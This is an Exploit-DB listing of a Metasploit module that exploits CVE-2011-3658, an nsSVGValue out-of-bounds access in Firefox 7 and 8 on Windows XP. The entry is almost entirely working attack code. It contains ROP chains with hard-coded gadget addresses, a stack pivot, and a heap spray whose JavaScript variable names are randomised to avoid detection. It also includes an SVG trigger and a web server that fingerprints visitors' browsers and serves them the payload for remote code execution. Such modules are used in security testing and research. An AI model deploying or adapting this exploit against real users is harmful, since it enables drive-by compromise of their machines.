标题: Mozilla Firefox 7 / 8 < 8.0.1 - nsSVGValue Out-of-Bounds Access (Metasploit) EDB-ID: 18847 CVE: 2011-3658 类型: REMOTE 平台: WINDOWS 发布日期: 2012-05-09 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
   'Description'    => %q{
    This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
    The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
    uses a loop which can result in an out-of-bounds access to attacker-controlled memory.
    The mObserver ElementAt() function (which picks up pointers), does not validate
    if a given index is out of bound. If a custom observer of nsSVGValue is created,
    which removes elements from the original observer,
    and memory layout is manipulated properly, the ElementAt() function might pick up
    an attacker provided pointer, which can be leveraged to gain remote arbitrary
    code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'regenrecht',                          #vulnerability discovery
     'Lincoln<lincoln[at]corelan.be>',      #Metasploit module
     'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
    ],
   'References'     =>
    [
     [ 'CVE', '2011-3658' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ],
     [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'BadChars'       => "\x00\x0a\x0d\x34",
     'DisableNops'    => true,
     'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [
      'Windows XP - Firefox 7',
      {
       'Ret'    => 0x0C0C0C0C,
       'OffSet' => 0x606,
       'Size'   => 0x40000,
       'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll]
       'FF'     => 7,
       'OS'     => 'XP'
      }
     ],
     [
      'Windows XP - Firefox 8 (<= 8.0.1)',
      {
       'Ret'    => 0x0C0C0C0C,
       'OffSet' => 0x606,
       'Size'   => 0x40000,
       'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll]
       'FF'     => 8,
       'OS'     => 'XP'
      }
     ]
    ],
   'DisclosureDate' => 'Dec 6 2011',
   'DefaultTarget'  => 0))

 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def junk(n=4)
  return rand_text_alpha_upper(n).unpack("L")[0].to_i
 end

 def nop
  return make_nops(4).unpack("L")[0].to_i
 end

 def get_rop_chain(ffversion,osversion)

  # mona.py ROP chains

  rop_chain = []

  if ffversion == 7 and osversion == "XP"

   rop_chain =
   [
    0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
    0x7813aeed,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
    0x78194774,     # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll]
    0x78139801,     # RETN (ROP NOP) [MOZCRT19.dll] -> edi
    0x78195375,     # & push esp #  ret  [MOZCRT19.dll] -> ebp
    0x00000001,     # 0x00000001-> ebx
    0x7819966e,     # POP EDX # RETN [MOZCRT19.dll]
    0x00001000,     # 0x00001000-> edx
    0x7813557f,     # POP ECX # RETN [MOZCRT19.dll]
    0x00000040,     # 0x00000040-> ecx
    0x781a4da8,     # POP EAX # RETN [MOZCRT19.dll]
    nop,            # nop
    0x7813d647,     # PUSHAD # RETN [MOZCRT19.dll]
   ].flatten.pack("V*")

  elsif ffversion == 8 and osversion == "XP"

   rop_chain =
   [
    0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
    0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
    0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
    0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
    0x781503c3,     # & call esp [MOZCRT19.dll]
    0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
    0x00000001,     # 0x00000001-> ebx
    0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
    0x00001000,     # 0x00001000-> edx
    0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
    0x00000040,     # 0x00000040-> ecx
    0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
    0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
    0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
    nop,            # nop
    0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
   ].flatten.pack("V*")

  end

  return rop_chain
 end


 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # determine the target FF and OS version

  ffversion = ""
  osversion = ""

  agent = request.headers['User-Agent']

  if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/
   vprint_error("This browser version is not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  my_target = target
  if my_target.name == 'Automatic'
   if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/
    my_target = targets[1]
   elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
    my_target = targets[2]
   elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
    send_not_found(cli)
    return
   end
   target = my_target
  end

  # Create the payload
  print_status("Creating payload for #{target.name}")
  table =
  [
   0x0c0c0c0c,  # index
   0x0c0c0c0c,  # index
   0x0c0c0c0c,  # index
   0x7c45abdf   # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL]
  ].pack("V*")

  rop = rand_text_alpha_upper(56)
  rop << [ target['PopEax'] ].pack("V")
  rop << rand_text_alpha_upper(40)
  rop << get_rop_chain(target['FF'],target['OS'])

  # Encode table, chain and payload
  rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch))

  code = payload.encoded
  code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

  # random JavaScript variable names
  i_name                  = rand_text_alpha(rand(10) + 5)
  rop_name                = rand_text_alpha(rand(10) + 5)
  code_name               = rand_text_alpha(rand(10) + 5)
  offset_length_name      = rand_text_alpha(rand(10) + 5)
  randnum1_name           = rand_text_alpha(rand(10) + 5)
  randnum2_name           = rand_text_alpha(rand(10) + 5)
  randnum3_name           = rand_text_alpha(rand(10) + 5)
  randnum4_name           = rand_text_alpha(rand(10) + 5)
  paddingstr_name         = rand_text_alpha(rand(10) + 5)
  padding_name            = rand_text_alpha(rand(10) + 5)
  junk_offset_name        = rand_text_alpha(rand(10) + 5)
  single_sprayblock_name  = rand_text_alpha(rand(10) + 5)
  sprayblock_name         = rand_text_alpha(rand(10) + 5)
  varname_name            = rand_text_alpha(rand(10) + 5)
  thisvarname_name        = rand_text_alpha(rand(10) + 5)
  container_name          = rand_text_alpha(rand(10) + 5)
  tls_name                = rand_text_alpha(rand(10) + 5)
  tl_name                 = rand_text_alpha(rand(10) + 5)
  rect_name               = rand_text_alpha(rand(10) + 5)
  big_name                = rand_text_alpha(rand(10) + 5)
  small_name              = rand_text_alpha(rand(10) + 5)
  listener_name           = rand_text_alpha(rand(10) + 5)
  run_name                = rand_text_alpha(rand(10) + 5)
  svg_name                = rand_text_alpha(rand(10) + 5)
  atl_name                = rand_text_alpha(rand(10) + 5)
  addr_name               = rand_text_alpha(rand(10) + 5)
  trans_name              = rand_text_alpha(rand(10) + 5)
  matrix_name             = rand_text_alpha(rand(10) + 5)

  # corelan precise heap spray for Firefox >= 7
  # + trigger routine
  spray = <<-JS

  var #{rop_name} = unescape("#{rop_js}");
  var #{code_name} = unescape("#{code_js}");
  var #{offset_length_name} = #{target['OffSet']};

  for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++)
  {
   var #{randnum1_name}=Math.floor(Math.random()*90)+10;
   var #{randnum2_name}=Math.floor(Math.random()*90)+10;
   var #{randnum3_name}=Math.floor(Math.random()*90)+10;
   var #{randnum4_name}=Math.floor(Math.random()*90)+10;

   var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
   #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

   var #{padding_name} = unescape(#{paddingstr_name});

   while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

   #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

   var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
   #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

   while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

   #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

   #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
   #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
   #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
   eval(#{thisvarname_name});
  }

  var #{container_name} = [];

  var #{tls_name} = [];
  var #{rect_name} = null;
  var #{big_name} = null;
  var #{small_name} = null;

  function #{listener_name}() {
   #{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false);
   for each (#{tl_name} in #{tls_name})
   #{tl_name}.clear();

   for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name})
    #{container_name}.push(unescape(#{big_name}));
   for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name})
    #{container_name}.push(unescape(#{small_name}));
  }

  function #{run_name}() {
   var #{svg_name} = document.getElementById("#{svg_name}");
   #{rect_name} = document.getElementById("#{rect_name}");

   for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) {
    #{rect_name} = #{rect_name}.cloneNode(false);
    var #{atl_name} = #{rect_name}.transform;
    var #{tl_name} = #{atl_name}.baseVal;
    #{tls_name}.push(#{tl_name});
   }

   const #{addr_name} = unescape("%u0c0c");
   #{big_name} = #{addr_name};
   while (#{big_name}.length != 0x1000)
   #{big_name} += #{big_name};

   #{small_name} = #{addr_name};
   while (#{small_name}.length != 15)
   #{small_name} += #{addr_name};

   var #{trans_name} = #{svg_name}.createSVGTransform();
   for each (#{tl_name} in #{tls_name})
    #{tl_name}.appendItem(#{trans_name});

   #{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false);
   var #{matrix_name} = #{svg_name}.createSVGMatrix();
   #{trans_name}.setMatrix(#{matrix_name});
  }
  JS

  # build html
  content = <<-HTML
  <html>
  <head>
  <meta http-equiv="refresh" content="3">
  <body>
  <script language='javascript'>
  #{spray}
  </script>
  </head>
  <body onload="#{run_name}();">
  <svg id="#{svg_name}">
  <rect id="#{rect_name}" />
  </svg>
  </body>
  </html>
  HTML

  print_status("Sending HTML")

  # Transmit the response to the client
  send_response(cli, content, {'Content-Type'=>'text/html'})

 end

end URL: https://www.exploit-db.com/exploits/18847